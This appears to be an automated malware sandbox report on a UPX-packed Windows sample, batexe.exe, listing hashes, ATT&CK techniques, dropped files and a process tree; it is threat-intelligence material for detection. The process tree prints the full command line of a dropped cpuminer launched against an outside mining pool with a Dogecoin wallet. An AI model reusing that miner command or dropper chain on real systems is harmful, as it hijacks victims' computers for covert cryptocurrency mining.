73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17-02-2024 12:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4256	b2e.exe
4664	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4664	cpuminer-sse2.exe
4664	cpuminer-sse2.exe
4664	cpuminer-sse2.exe
4664	cpuminer-sse2.exe
4664	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1584-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1584 wrote to memory of 4256	1584	batexe.exe	83
PID 1584 wrote to memory of 4256	1584	batexe.exe	83
PID 1584 wrote to memory of 4256	1584	batexe.exe	83
PID 4256 wrote to memory of 1824	4256	b2e.exe	84
PID 4256 wrote to memory of 1824	4256	b2e.exe	84
PID 4256 wrote to memory of 1824	4256	b2e.exe	84
PID 1824 wrote to memory of 4664	1824	cmd.exe	87
PID 1824 wrote to memory of 4664	1824	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A24B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe

Filesize
11.3MB

MD5
65f1fc4e2a92797804173c91f260bec4

SHA1
a9a97b4c3a885c2895cf0f3be2a5ffba62c74572

SHA256
fa0bfd51a1380bba94a9b57b4037d1c6155ec6f5ced8d374e7c14e5bcfe80522

SHA512
b64fa7eccbe0d9f447a2c276805e48447802c5942d558cf70a839bae2d0cd4119b54af399530b8799dc61a6fadee5ce6ecc072ebd01872afcc061d55aace830b

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe

Filesize
4.7MB

MD5
1d6c96590fec9e4d752d34441c14e1de

SHA1
af054f3b150a472fbfd2d7f8181e35758bc4985d

SHA256
fc3d2aeb4c2288088d5c999d0fd8a1c91a2bdc912a9fe0f55fc387d002fdbf76

SHA512
a595bdd9f3d8d0dc4b7f0ddf59384d66d1555ed953ae283cf4ffeb4cdc6b1cb4ae4f99dade07a0134ae5b4bbaf1a851a0c43ae65f87aca1172b9b690e95b0172

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B55.tmp\b2e.exe

Filesize
4.9MB

MD5
5b413e4a6b17917644d4fe5a9f626fc2

SHA1
113db8135671bacaa44067ccd332d3340ef769f0

SHA256
5dbbc25b2a78c71d21e96e660068930f9f4a5880e81369ec61c711e4154a79ae

SHA512
8beb85e13c35c75b7dcabc7087c3e246b02585f38850632fe47869563a69caa0cae6b882fa9a06422433137562091ad59fbf9bb0663616580a3bf01880debdec

Download Submit
C:\Users\Admin\AppData\Local\Temp\A24B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
e083c6d89cc8d1a767c7c6815ecf0980

SHA1
902bdc54f04387d170a3b162dcf2e8f628965db5

SHA256
2ae8adad8f01fcdffc027d34240e4d89bf6f5dda61e0d838afe859af6458c70c

SHA512
fb5e01b2172c458f822e6c3455f6a54e5ae37ba15af0bc054ec348618d07764b5833c9b7cf05fc71b7d71315f0f41f01bba6ce48a06925afd350f61d13625382

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.8MB

MD5
e161fbd50dd4386447ebd69e9d4b65b8

SHA1
86b645ba19a25e1303540dbd7c87dca98a712384

SHA256
bc4268a30847adf8fab8b4b11417d15c224e79adf628c142806e185ab983e700

SHA512
4125016bef3373d4a3e54915076274dc2002c5d0ea3e0f5273ef621b27250abfe722e57c03c733d3da0b89840b2d9971252ba6c72e016175956d2154b09fc511

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.2MB

MD5
8039f2e8bf627b37555fd4b76645dcb2

SHA1
8fc4fe1436aa622081b744bcaa1d949417d50e5f

SHA256
20b9320c3b7ff19bb7d497ff7a189ff81a752cc84e7609dfe1a402633ada3b73

SHA512
197cff4f2fa0ef124f14b199346f6cba72d07db06fc8942344b9ee6888bef749762efe735d134eb71ebf0e8c3400190b24d0dee2ff677bec1f86530bcbc1a18e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1584-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4256-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4256-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4664-45-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/4664-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4664-47-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/4664-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4664-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4664-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download